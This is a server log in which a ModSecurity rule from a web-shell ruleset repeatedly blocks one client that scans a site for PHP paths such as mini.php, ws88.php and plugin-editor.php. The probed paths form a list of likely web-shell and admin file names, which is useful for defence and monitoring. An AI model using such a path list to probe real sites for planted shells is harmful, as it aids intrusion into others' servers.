[Sat Apr 25 01:09:51.221682 2026] [:error] [pid 14989:tid 14999] [client 51.107.77.218:5503] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tymn.php"] [unique_id "aeuj33hRYjsAsZTO4EORHwAAAAg"]
[Sat Apr 25 01:09:52.190572 2026] [:error] [pid 42852:tid 42865] [client 51.107.77.218:5476] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tymn.php"] [unique_id "aeuj4DMEwxhhak_EhMKMDwAAAko"]
[Sat Apr 25 01:09:53.016115 2026] [:error] [pid 14989:tid 14993] [client 51.107.77.218:5467] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeuj4XhRYjsAsZTO4EORKAAAAAI"]
[Sat Apr 25 01:09:54.576471 2026] [:error] [pid 14989:tid 15011] [client 51.107.77.218:5412] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeuj4nhRYjsAsZTO4EORMAAAABQ"]
[Sat Apr 25 01:09:56.517999 2026] [:error] [pid 42791:tid 42806] [client 51.107.77.218:5408] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeuj5LKmN9doraCEWKXoiwAAAcs"]
[Sat Apr 25 01:09:59.561940 2026] [:error] [pid 14989:tid 14999] [client 51.107.77.218:64192] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeuj53hRYjsAsZTO4EORRwAAAAg"]
[Sat Apr 25 01:10:01.116428 2026] [:error] [pid 42791:tid 42812] [client 51.107.77.218:5607] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aeuj6bKmN9doraCEWKXojgAAAdE"]
[Sat Apr 25 01:10:03.923486 2026] [:error] [pid 42852:tid 42874] [client 51.107.77.218:63630] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aeuj6zMEwxhhak_EhMKMOQAAAlM"]
[Sat Apr 25 01:10:09.493308 2026] [:error] [pid 14989:tid 15015] [client 51.107.77.218:5597] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aeuj8XhRYjsAsZTO4EORZAAAABg"]
[Sat Apr 25 01:10:12.827547 2026] [:error] [pid 42792:tid 42829] [client 51.107.77.218:65170] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aeuj9NNi9qR4GtafpfHWAAAAAgc"]
[Sat Apr 25 01:10:14.032433 2026] [:error] [pid 42792:tid 42825] [client 51.107.77.218:64214] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aeuj9tNi9qR4GtafpfHWBAAAAgM"]
[Sat Apr 25 01:10:15.621863 2026] [:error] [pid 42791:tid 42808] [client 51.107.77.218:5495] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aeuj97KmN9doraCEWKXotQAAAc0"]
[Sat Apr 25 01:10:17.206537 2026] [:error] [pid 42852:tid 42860] [client 51.107.77.218:65205] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aeuj-TMEwxhhak_EhMKMSgAAAkU"]
[Sat Apr 25 01:10:17.935665 2026] [:error] [pid 42755:tid 42766] [client 51.107.77.218:64728] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aeuj-dH7__k0j6aa600BnAAAAIk"]
[Sat Apr 25 01:10:19.009425 2026] [:error] [pid 14989:tid 15005] [client 51.107.77.218:5614] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-access.php"] [unique_id "aeuj-3hRYjsAsZTO4EORfQAAAA4"]
[Sat Apr 25 01:10:47.804707 2026] [:error] [pid 14989:tid 15015] [client 51.107.77.218:64166] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aeukF3hRYjsAsZTO4EOR6AAAABg"]
[Sat Apr 25 01:10:48.483456 2026] [:error] [pid 42792:tid 42833] [client 51.107.77.218:65209] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aeukGNNi9qR4GtafpfHWNgAAAgs"]
[Sat Apr 25 01:10:49.537823 2026] [:error] [pid 42792:tid 42823] [client 51.107.77.218:63627] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aeukGdNi9qR4GtafpfHWOAAAAgE"]
[Sat Apr 25 01:10:51.304044 2026] [:error] [pid 14989:tid 15009] [client 51.107.77.218:63672] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dx.php"] [unique_id "aeukG3hRYjsAsZTO4EOR-AAAABI"]
[Sat Apr 25 01:10:53.614923 2026] [:error] [pid 14989:tid 15007] [client 51.107.77.218:5594] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aeukHXhRYjsAsZTO4EOSBgAAABA"]
[Sat Apr 25 01:10:56.770025 2026] [:error] [pid 42852:tid 42862] [client 51.107.77.218:5608] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aeukIDMEwxhhak_EhMKMkwAAAkc"]
[Sat Apr 25 01:10:58.159622 2026] [:error] [pid 14989:tid 14992] [client 51.107.77.218:63653] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aeukInhRYjsAsZTO4EOSDgAAAAE"]
[Sat Apr 25 01:10:59.269453 2026] [:error] [pid 42791:tid 42800] [client 51.107.77.218:64160] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aeukI7KmN9doraCEWKXo9gAAAcU"]
[Sat Apr 25 01:11:00.555901 2026] [:error] [pid 42755:tid 42758] [client 51.107.77.218:65159] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aeukJNH7__k0j6aa600BugAAAIE"]
[Sat Apr 25 01:11:02.307693 2026] [:error] [pid 42792:tid 42824] [client 51.107.77.218:64653] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aeukJtNi9qR4GtafpfHWRgAAAgI"]
[Sat Apr 25 01:11:04.653386 2026] [:error] [pid 42755:tid 42771] [client 51.107.77.218:64657] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aeukKNH7__k0j6aa600BwQAAAI4"]
[Sat Apr 25 01:11:07.872643 2026] [:error] [pid 42791:tid 42816] [client 51.107.77.218:65171] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aeukK7KmN9doraCEWKXpBAAAAdU"]
[Sat Apr 25 01:11:09.153130 2026] [:error] [pid 14989:tid 15004] [client 51.107.77.218:5489] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aeukLXhRYjsAsZTO4EOSJQAAAA0"]
[Sat Apr 25 01:11:10.574771 2026] [:error] [pid 42755:tid 42770] [client 51.107.77.218:5488] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aeukLtH7__k0j6aa600BygAAAI0"]
[Sat Apr 25 01:11:12.200601 2026] [:error] [pid 42791:tid 42799] [client 51.107.77.218:47518] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aeukMLKmN9doraCEWKXpDQAAAcQ"]
[Sat Apr 25 01:11:14.122884 2026] [:error] [pid 42792:tid 42829] [client 51.107.77.218:64713] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aeukMtNi9qR4GtafpfHWYwAAAgc"]
[Sat Apr 25 01:11:15.638329 2026] [:error] [pid 42792:tid 42832] [client 51.107.77.218:65204] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aeukM9Ni9qR4GtafpfHWaAAAAgo"]
[Sat Apr 25 01:11:17.561793 2026] [:error] [pid 14989:tid 15007] [client 51.107.77.218:64221] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aeukNXhRYjsAsZTO4EOSOgAAABA"]
[Sat Apr 25 01:11:18.173381 2026] [:error] [pid 14989:tid 15010] [client 51.107.77.218:63616] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aeukNnhRYjsAsZTO4EOSPwAAABM"]
[Sat Apr 25 01:11:20.111077 2026] [:error] [pid 14989:tid 15001] [client 51.107.77.218:63643] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mode.php"] [unique_id "aeukOHhRYjsAsZTO4EOSRQAAAAo"]
[Sat Apr 25 01:11:22.314649 2026] [:error] [pid 14989:tid 15013] [client 51.107.77.218:64208] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aeukOnhRYjsAsZTO4EOSTgAAABY"]
[Sat Apr 25 01:11:23.085271 2026] [:error] [pid 14989:tid 15001] [client 51.107.77.218:64723] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aeukO3hRYjsAsZTO4EOSUwAAAAo"]
[Sat Apr 25 01:11:24.293143 2026] [:error] [pid 42852:tid 42857] [client 51.107.77.218:5404] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aeukPDMEwxhhak_EhMKM3QAAAkI"]
[Sat Apr 25 01:11:25.638634 2026] [:error] [pid 42852:tid 42860] [client 51.107.77.218:5475] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aeukPTMEwxhhak_EhMKM5AAAAkU"]
[Sat Apr 25 01:11:27.336409 2026] [:error] [pid 42852:tid 42868] [client 51.107.77.218:64147] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-block.php"] [unique_id "aeukPzMEwxhhak_EhMKM7gAAAk0"]
[Sat Apr 25 01:11:28.512911 2026] [:error] [pid 42852:tid 42866] [client 51.107.77.218:65201] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-block.php"] [unique_id "aeukQDMEwxhhak_EhMKM-QAAAks"]
[Sat Apr 25 01:11:29.685656 2026] [:error] [pid 42792:tid 42827] [client 51.107.77.218:5422] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-block.php"] [unique_id "aeukQdNi9qR4GtafpfHWgwAAAgU"]
[Sat Apr 25 01:11:30.978828 2026] [:error] [pid 14989:tid 14997] [client 51.107.77.218:64642] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-block.php"] [unique_id "aeukQnhRYjsAsZTO4EOScwAAAAY"]
[Sat Apr 25 01:11:32.526618 2026] [:error] [pid 14989:tid 14996] [client 51.107.77.218:63652] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aeukRHhRYjsAsZTO4EOSeQAAAAU"]
[Sat Apr 25 01:11:33.883124 2026] [:error] [pid 42791:tid 42818] [client 51.107.77.218:5605] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aeukRbKmN9doraCEWKXpLAAAAdc"]
[Sat Apr 25 01:11:34.618251 2026] [:error] [pid 14989:tid 14998] [client 51.107.77.218:64766] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aeukRnhRYjsAsZTO4EOSfgAAAAc"]
[Sat Apr 25 01:11:36.292557 2026] [:error] [pid 42791:tid 42814] [client 51.107.77.218:65173] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aeukSLKmN9doraCEWKXpMQAAAdM"]
[Sat Apr 25 01:11:37.411685 2026] [:error] [pid 14989:tid 14997] [client 51.107.77.218:65215] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adoms.php"] [unique_id "aeukSXhRYjsAsZTO4EOSjgAAAAY"]
[Sat Apr 25 01:11:38.217249 2026] [:error] [pid 42791:tid 42807] [client 51.107.77.218:65175] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adoms.php"] [unique_id "aeukSrKmN9doraCEWKXpNAAAAcw"]
[Sat Apr 25 01:11:39.201866 2026] [:error] [pid 42755:tid 42771] [client 51.107.77.218:47510] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adoms.php"] [unique_id "aeukS9H7__k0j6aa600B6wAAAI4"]
[Sat Apr 25 01:11:40.385953 2026] [:error] [pid 14989:tid 14997] [client 51.107.77.218:60670] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adoms.php"] [unique_id "aeukTHhRYjsAsZTO4EOSlwAAAAY"]
[Sat Apr 25 01:11:41.205318 2026] [:error] [pid 14989:tid 14993] [client 51.107.77.218:60547] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugin-editor.php"] [unique_id "aeukTXhRYjsAsZTO4EOSoAAAAAI"]
[Sat Apr 25 01:11:42.546350 2026] [:error] [pid 42792:tid 42839] [client 51.107.77.218:5419] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugin-editor.php"] [unique_id "aeukTtNi9qR4GtafpfHWigAAAhE"]
[Sat Apr 25 01:11:43.251512 2026] [:error] [pid 14989:tid 15008] [client 51.107.77.218:64727] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugin-editor.php"] [unique_id "aeukT3hRYjsAsZTO4EOSqwAAABE"]
[Sat Apr 25 01:11:44.574858 2026] [:error] [pid 42791:tid 42807] [client 51.107.77.218:5588] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugin-editor.php"] [unique_id "aeukULKmN9doraCEWKXpQQAAAcw"]
[Sat Apr 25 01:12:12.621742 2026] [:error] [pid 42852:tid 42870] [client 51.107.77.218:5387] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aeukbDMEwxhhak_EhMKNvwAAAk8"]
[Sat Apr 25 01:12:13.575911 2026] [:error] [pid 14989:tid 14997] [client 51.107.77.218:64254] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aeukbXhRYjsAsZTO4EOTLwAAAAY"]
